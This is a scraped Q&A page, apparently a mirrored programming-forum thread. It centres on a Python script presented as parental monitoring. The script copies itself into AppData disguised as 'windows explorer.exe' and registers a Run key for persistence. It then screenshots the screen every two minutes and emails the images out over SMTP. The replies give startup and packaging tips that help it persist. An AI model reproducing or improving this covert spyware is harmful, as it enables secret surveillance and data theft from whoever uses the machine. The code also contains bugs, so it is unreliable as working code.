简体   繁体   中英

How can i make my python.exe file to start automtically when system is reboot

Hy i am working on a project name "How Parents monitor their kids" i have to proposed my idea which is i write a python Script that send screenshoot of their childern device to their parent mail after a specific interval of time.

Now i want to add How can i make my python code.exe file to start automtically at when system is reboot

Not-working my start-up code

Startup code in my pint of view is

def become_persistent(self):
    evil_file_location = os.environ["appdata"] + "\\ windows explorer.exe"
    if not os.path.exists(evil_file_location):
        shutil.copyfile(sys.executable, evil_file_location)
        subprocess.call('reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v test /t REG_SZ /d "' + evil_file_location + '"', shell=True)

My Python full code

import smtplib
import sys
from email.mime.multipart import MIMEMultipart
from email.mime.image import MIMEImage
import time
import os
from smtplib import SMTP
import shutil
from PIL import ImageGrab
import subprocess
import self

def become_persistent(self):
    hidden_file_location = os.environ["appdata"] + "\\ windows explorer.exe"
    if not os.path.exists(hidden_file_location):
        shutil.copyfile(sys.executable, hidden_file_location)
        subprocess.call('reg add HKCV\Software\Microsoft\Windows\CurrentVersion\Run /v test /t REG_SZ /d "' + hidden_file_location + '"', shell=True)
become_persistent()

s: SMTP = smtplib.SMTP('smtp.gmail.com', port)
s.starttls()
s.login("email of parents", "password")

msg = MIMEMultipart()
msg['Subject'] = 'Test Email'
msg['From'] = "sender email"
msg['To'] = "recepient email"
while True:
    snapshot = ImageGrab.grab()
    # Using png because it cannot write mode RGBA as JPEG
    file = "scr.png"
    snapshot.save(file)
    # Opening the image file and then attaching it
    with open(file, 'rb') as f:
        img = MIMEImage(f.read())
        img.add_header('Content-Disposition', 'attachment', filename=file)
        msg.attach(img)
    os.remove(file)
    s.sendmail("sender email", "recipent email", msg.as_string())
    # Change this value to your liking
    time.sleep(120)

Try putting the line

os.environ['DISPLAY'] = ':0'

just below your imports.

Create a batch file for your python script. Then use Windows Task Scheduler to run the batch file every time they system boots up.

Here is a good step-by-step guide.

Running python code with task scheduler

There are the various ways to start python application on reboot (it's not mandatory to convert file in.exe) Run Python script at startup in Linux

But, If still want to convert python file in.exe use below python library .

pip install pyinstaller

The technical post webpages of this site follow the CC BY-SA 4.0 protocol. If you need to reprint, please indicate the site URL or the original address.Any question please contact:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM